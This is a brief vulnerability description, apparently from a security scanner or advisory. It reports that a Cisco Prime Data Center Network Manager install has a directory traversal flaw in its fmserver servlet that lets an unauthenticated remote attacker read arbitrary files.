The version of Cisco Prime Data Center Network Manager (DCNM) installed on the remote host is affected by a directory traversal vulnerability in the fmserver servlet due to improper validation of user-supplied input. An unauthenticated, remote attacker, using a crafted file pathname, can read arbitrary files from the filesystem outside of a restricted path.
